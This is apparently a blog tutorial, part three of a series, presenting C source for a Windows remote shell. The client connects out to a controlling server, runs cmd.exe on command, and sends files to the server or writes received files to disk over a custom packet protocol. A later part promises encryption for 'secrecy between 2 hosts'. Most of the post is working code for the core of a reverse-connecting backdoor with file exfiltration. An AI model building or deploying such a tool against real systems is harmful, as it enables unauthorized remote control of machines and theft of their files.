Windows: Interactive shells Part 3

Introduction

Here we’ll see how to transfer files between 2 systems over TCP. The main difference between the shell in part 2 and here is that we now require a Simple Packet Protocol (SPP)

The server side requires handling and formatting user input specific to this simple protocol. Likewise, the client needs to handle commands through a dispatcher.

Usage examples

The following snapshot is interactive session with remote client.

server_mode

From here on now, the client will only make outgoing connections whereas in first 2, they permitted incoming and outgoing connections. This also no longer works with ncat, netcat or similar utility.

Simple packet protocol

In order for us to transfer files between 2 systems, we require a custom protocol which indicates the amount of data incoming or outgoing. The following 2 structures are used. 1 for commands, the other for raw data and error codes.

// spp command structure
typedef struct _spp_cmd_t {
  uint32_t opt;
  uint8_t  buf[SPP_DATA_LEN];
} spp_cmd;

// packet protocol block
typedef struct _spp_blk_t {
  DWORD len;                  // total length of packet
  union {
    spp_cmd cmd;
    DWORD   err;                // holds GetLastError()
    BYTE    buf[SPP_DATA_LEN+64];
  };
} spp_blk;

TCP Fragmentation

Because incoming and outgoing streams can vary in size from time to time, there are situations where recv and send will not always send or receive the requested amount of data in one call. It is usually more of a problem for receiving data because the buffer allocated by the kernel is smaller. We need to anticipate fragmented packets otherwise our protocol would fail in some circumstances.

Receiving fragmented packets.

// receive block of data, fragmented if required
int recv_pkt (int s, void *out, uint32_t outlen) 
{
  int      len;
  uint32_t sum;
  uint8_t  *p=(uint8_t*)out;
  
  for (sum=0; sum<outlen; sum += len) {
    len=recv (s, &p[sum], outlen - sum, 0);
    if (len<=0) return -1;
  }
  return sum;
}

// receive packet
int spp_recv (spp_ctx *c, spp_blk *out)
{
  int     len;
  
  ZeroMemory (out, sizeof(spp_blk));
  
  // receive the length
  len=recv_pkt (c->s, &out->len, sizeof(DWORD));

  // error?
  if (len<=0) {
    return SPP_ERR_SCK;
  }
  
  // zero is okay
  if (out->len==0) {
    return SPP_ERR_OK;
  }

  if (out->len>SPP_DATA_LEN) {
    return SPP_ERR_LEN;
  }
  // receive the data
  len=recv_pkt (c->s, &out->buf, out->len);

  return (len<=0) ? SPP_ERR_SCK : SPP_ERR_OK;
}

Sending fragmented packets

// send packet
int spp_send (spp_ctx *c, spp_blk *in)
{
  int      len;
  uint32_t sum;
  uint32_t inlen=in->len + sizeof(DWORD); // len+buf
  uint8_t  *p=(uint8_t*)&in->len;
  
  for (sum=0; sum<inlen; sum += len) {
    len=send(c->s, &p[sum], inlen - sum, 0);
    if (len<=0) return -1;
  }
  return SPP_ERR_OK;
}

Client mode

Running as a client, we wait for commands sent by a user and execute accordingly. A dispatch routine is required for this.

int dispatch (spp_ctx *c)
/**
 * PURPOSE : receives commands from remote server
 *
 * RETURN :  1 to terminate else 0
 *
 * NOTES :   
 *
 *F*/
{
  DWORD   e, terminate=0, end=0;
  spp_blk in;
  DWORD   sck_evt;
  HANDLE  evt[MAXIMUM_WAIT_OBJECTS];
  DWORD   evt_cnt=0;
  
  evt[sck_evt = evt_cnt++] = WSACreateEvent();
  
  do {
    // wait for event
    e=wait_evt(evt, evt_cnt, sck_evt, c->s);
    
    // failure? exit
    if (e == -1) {
      printf ("[ wait_evt() failure : returned %08Xn", e);
      return 0;
    }
    // receive packet
    if (spp_recv(c, &in) != SPP_ERR_OK) {
      break;
    }
    // inspect packet
    switch (in.cmd.opt)
    {
      // terminate client
      case SPP_CMD_TERM : {
        DEBUG_PRINT("received command to terminate");
        terminate=1;
        break;
      }
      // close the connection
      case SPP_CMD_CLOSE : {
        DEBUG_PRINT("received command to close connection");
        end=1;
        break;
      }
      // execute cmd.exe for remote server
      case SPP_CMD_SHELL : {
        DEBUG_PRINT("received command to execute cmd.exe");
        cmd(c);
        break;
      }
      // send a file to remote server
      // buf should contain the name of file to open
      case SPP_CMD_GET : {
        DEBUG_PRINT("received command to send file");
        c_get(c, in.cmd.buf);
        break;
      }
      // receive a file from remote server
      // buf should contain the name of file to create
      case SPP_CMD_PUT : {
        DEBUG_PRINT("received command to receive file");
        c_put(c, in.cmd.buf);
        break;
      }
      default:
        DEBUG_PRINT("unknown command received %08X", in.cmd.opt);
        break;
    }
    // continue until close or terminate
  } while (!end && !terminate);
  return terminate;
}

Server mode

While running in server mode, we only handle user input and send to the client for processing.

/**F*****************************************************************/
DWORD session (spp_ctx *c)
/**
 * PURPOSE : Sends commands to remote client
 *
 * RETURN :  Nothing
 *
 * NOTES :   None
 *
 *F*/
{
  HANDLE  hThread, stdoutput;
  DWORD   e, wn, i, cmd_mode=0, terminate=0, end=0;
  spp_blk in, out;
  HANDLE  evt[MAXIMUM_WAIT_OBJECTS];
  DWORD   stdin_evt=0, sck_evt=0, evt_cnt=0;
  
  // create 2 events for reading input
  // this is necessary because STD_INPUT_HANDLE also
  // signals for events other than keyboard input
  // and consequently blocks when ReadFile() is called.
  // the solution is to create separate thread.
  // UNIX-variant OS don't suffer from this issue.
  input.evt    = CreateEvent (NULL, FALSE, FALSE, NULL);
  input.evtbck = CreateEvent (NULL, FALSE, FALSE, NULL);
  
  // event for input
  evt[stdin_evt = evt_cnt++] = input.evt;
  // event for socket
  evt[sck_evt   = evt_cnt++] = WSACreateEvent();
  // obtain handle to stdout
  stdoutput=GetStdHandle (STD_OUTPUT_HANDLE);
  
  // create thread for reading input
  hThread=CreateThread (NULL, 0, stdin_thread, NULL, 0, NULL);
            
  // keep going until disconnection of client/user exits
  printf ("[ ready\n");

  do {
    if (!cmd_mode) printf (">");
    DEBUG_PRINT("waiting for events");
    // wait for events
    e=wait_evt(evt, evt_cnt, sck_evt, c->s);

    // failure? break
    if (e==-1) {
      printf ("[ wait_evt() failure : returned %08X\n", e);
      break;
    }
    
    // read from socket?
    if (e==sck_evt) 
    {
      DEBUG_PRINT("reading from socket");
      // receive packet, break on error
      if (spp_recv (c, &in) != SPP_ERR_OK) {
        DEBUG_PRINT("[ spp_recv() error\n");
        break;
      }
      // if we're interactive with remote cmd.exe and in.len is zero
      // cmd.exe has ended so set cmd_mode to zero and continue
      if (cmd_mode==1 && in.len==0) {
        DEBUG_PRINT("cmd.exe terminated");
        cmd_mode=0;
        continue;
      } else if (cmd_mode==1) {
        // else we're still interactive, write to console
        WriteConsole (stdoutput, in.buf, in.len, &wn, 0);
      } else {
        // this might happen for file transfers
        // but since we're no longer in s_put or s_get
        // this shouldn't happen so break
        printf ("[ error : received %i bytes", in.len);
        break;
      }
    } else 
    
    // user input?
    if (e==stdin_evt) 
    {
      // if we're not in cmd_mode, try parse command
      if (!cmd_mode) 
      {
        // command is 4 bytes
        in.len=sizeof(DWORD);
        in.cmd.opt=-1;
        // loop through available commands
        for (i=0; i<sizeof (cmds) / sizeof (spp_opt); i++) {
          if (StrCmpN (input.buf, cmds[i].s, strlen (cmds[i].s)) == 0) {
            in.cmd.opt=cmds[i].cmd;
            break;
          }
        }
        // do we have valid command?
        switch (in.cmd.opt) 
        {
          case SPP_CMD_HELP: {
            printf ("\n  valid commands\n");
            printf ("\n  close                - close connection");
            printf ("\n  term                 - terminate remote client");
            printf ("\n  cmd                  - execute cmd.exe");
            printf ("\n  put <local> <remote> - upload file");
            printf ("\n  get <remote> <local> - download file\n");
            break;
          }
          // terminate client?
          case SPP_CMD_TERM:
            terminate=1;
            spp_send(c, &in);
            break;
          // execute cmd.exe?
          case SPP_CMD_SHELL: {
            cmd_mode=1;
            spp_send(c, &in);
            break;
          }
          // close the connection?
          case SPP_CMD_CLOSE: {
            end=1;
            spp_send(c, &in);
            break;
          }
          // upload a file?
          case SPP_CMD_PUT: {
            DEBUG_PRINT("user upload cmd: %s", input.buf);
            s_put (c, input.buf);
            break;
          }
          // download a file?
          case SPP_CMD_GET: {
            DEBUG_PRINT("user download cmd: %s", input.buf);
            s_get (c, input.buf);
            break;
          }
          // invalid command
          default:
            printf ("[ unrecognised command\n");
            break;
        }
      } else {
        // we're in cmd_mode, copy input to packet buffer
        out.len=input.len;
        memcpy (out.buf, input.buf, input.len);
        // send to cmd.exe on client
        spp_send(c, &out);
      }
      // start reading user input again
      SetEvent (input.evtbck);    
    }
  } while (!end && !terminate);
  
  printf ("[ cleaning up\n");
  
  CloseHandle (hThread);
  CloseHandle (input.evtbck);
  CloseHandle (evt[stdin_evt]);
  evt_cnt--;
  
  return terminate;
}

Client File transfer

Uploading file to server.

  1. Attempt to open the file.
  2. Obtain last error code and send to server.
  3. If file not opened, go to step 8
  4. Read data from file
  5. Send data to server
  6. If last read not EOF go to step 4
  7. Close file
  8. Exit function
DWORD c_get (spp_ctx *c, char *path)
/**
 * PURPOSE : open file on client system and send to server
 *
 * RETURN :  spp error code
 *
 * NOTES :   None
 *
 *F*/
{
  HANDLE  in;
  spp_blk out;
  int     r;
  
  DEBUG_PRINT("opening %s for read", path);
  in=CreateFile (path, GENERIC_READ, FILE_SHARE_READ, 
    NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  
  // tell server status of open
  out.err=GetLastError();
  out.len=sizeof(DWORD);
  DEBUG_PRINT("error code %i", out.err);
  r=spp_send(c, &out);
  
  // file opened?
  if (in!=INVALID_HANDLE_VALUE)
  {
    DEBUG_PRINT("reading contents");
    // while reading
    while (ReadFile (in, out.buf, SPP_DATA_LEN, &out.len, 0)) 
    {
      // send data even if nothing read.
      if ((r=spp_send(c, &out)) != SPP_ERR_OK) break;
      
      // break on nothing read
      if (out.len==0) break;
    }
    // close file
    CloseHandle (in);
  }
  DEBUG_PRINT("c_get ending");
  return r;
}

Downloading file from server.

  1. Attempt to create the file.
  2. Obtain last error code and send to server.
  3. If file not created, goto step 9
  4. Receive data from server
  5. If receive length is zero, goto step 8
  6. Write data to file
  7. goto step 4
  8. Close file
  9. Exit function
DWORD c_put (spp_ctx *c, char *path)
/**
 * PURPOSE : receive a file from remote system and write to disk
 *
 * RETURN :  spp error code
 *
 * NOTES :   None
 *
 *F*/
{
  HANDLE  out;
  DWORD   wn;
  spp_blk in;
  int     r;
  
  DEBUG_PRINT("creating %s", path);
  
  out=CreateFile (path, GENERIC_WRITE, 0, NULL, 
    CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
  
  // tell remote our last error
  in.err=GetLastError();
  in.len=sizeof(DWORD);
  DEBUG_PRINT("error code %i", in.err);
  r=spp_send(c, &in);
    
  // if unable to create
  if (out!=INVALID_HANDLE_VALUE)
  {
    // keep looping until we receive zero length or socket error
    for (;;) 
    {
      // receive data, break on error
      if ((r=spp_recv(c, &in)) != SPP_ERR_OK) 
        break;
      
      // break if zero length
      if (in.len==0) break;
      
      // else write to file
      WriteFile (out, in.buf, in.len, &wn, 0);
    }
    // close handle
    CloseHandle (out);
  }
  DEBUG_PRINT("c_put ending");
  return r;
}

Limitations

The main limitation at this point is the lack of secrecy between 2 hosts. In part 4, we’ll solve this problem using an encryption layer.

Sources

To view entire source of this shell, see s3 here.

Advertisements
This entry was posted in programming, windows and tagged , , , , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s